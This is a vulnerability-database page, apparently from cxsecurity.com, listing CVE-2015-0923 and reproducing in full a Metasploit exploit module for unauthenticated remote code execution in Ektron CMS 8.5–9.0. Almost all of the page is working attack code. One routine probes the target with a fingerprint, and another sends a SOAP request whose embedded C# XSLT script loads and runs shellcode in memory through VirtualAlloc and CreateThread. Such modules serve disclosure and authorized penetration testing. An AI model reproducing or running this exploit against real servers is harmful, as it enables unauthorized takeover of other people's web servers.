Ektron 8.5 / 8.7 / 9.0 XSLT Transform Remote Code Execution

Published
Credit
Risk
2017.03.04
catatonicprime
High
CWE
CVE
Local
Remote
CWE-Other
CVE-2015-0923
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
5/10
2.9/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
None
None

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution',
'Description' => %q{ Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have
vulnerabilities in various operations within the ServerControlWS.asmx
web services. These vulnerabilities allow for RCE without authentication and
execute in the context of IIS on the remote system.
},
'Author' => [
'catatonicprime'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-0923' ],
[ 'US-CERT-VU', '377644' ],
[ 'URL', 'http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/' ]
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Privileged' => true,
'Targets' =>
[
['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X64, ARCH_X86 ] }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 05 2015'
))

register_options(
[
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']),
OptEnum.new('TARGETOP',
[
true,
'The vulnerable web service operation to exploit',
'ContentBlockEx',
[
'ContentBlockEx',
'GetBookmarkString',
'GetContentFlaggingString',
'GetContentRatingString',
'GetMessagingString'
]
])
], self.class )
end


def vulnerable_param
return 'Xslt' if datastore['TARGETOP'] == 'ContentBlockEx'
'xslt'
end

def required_params
return '' if datastore['TARGETOP'] == 'ContentBlockEx'
'<showmode/>'
end

def target_operation
datastore['TARGETOP']
end

def prologue
<<-XSLT
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<#{target_operation} xmlns="http://www.ektron.com/CMS400/Webservice">
#{required_params}
<#{vulnerable_param}>
<![CDATA[
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
XSLT
end

def epilogue
<<-XSLT
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:transform>
]]>
</#{vulnerable_param}>
</#{target_operation}>
</soap:Body>
</soap:Envelope>
XSLT
end

def check

fingerprint = rand_text_alpha(5 + rand(5))
xslt_data = <<-XSLT
#{prologue}
public string xml() {
return "#{fingerprint}";
}
#{epilogue}
XSLT

res = send_request_cgi(
{
'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml; charset=UTF-8",
'headers' => {
"Referer" => build_referer
},
'data' => xslt_data
})

if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def uri_path
uri_path = target_uri.path
uri_path << "/" if uri_path[-1, 1] != "/"
uri_path
end

def build_referer
if datastore['SSL']
schema = "https://"
else
schema = "http://"
end

referer = schema
referer << rhost
referer << ":#{rport}"
referer << uri_path
referer
end

def exploit

print_status("Generating the EXE Payload and the XSLT...")
fingerprint = rand_text_alpha(5 + rand(5))

xslt_data = <<-XSLT
#{prologue}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

[System.Runtime.InteropServices.DllImport(&quot;kernel32&quot;)]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

[System.Runtime.InteropServices.DllImport(&quot;kernel32&quot;)]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

public string xml()
{
string shellcode64 = @&quot;#{Rex::Text.encode_base64(payload.encoded)}&quot;;
byte[] shellcode = System.Convert.FromBase64String(shellcode64);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
IntPtr pinfo = IntPtr.Zero;
UInt32 threadId = 0;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
return &quot;#{fingerprint}&quot;;
}
#{epilogue}
XSLT

print_status("Trying to run the xslt transformation...")
res = send_request_cgi(
{
'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml; charset=UTF-8",
'headers' => {
"Referer" => build_referer
},
'data' => xslt_data
})
if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
print_good("Exploitation was successful")
else
fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request")
end

end
end


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com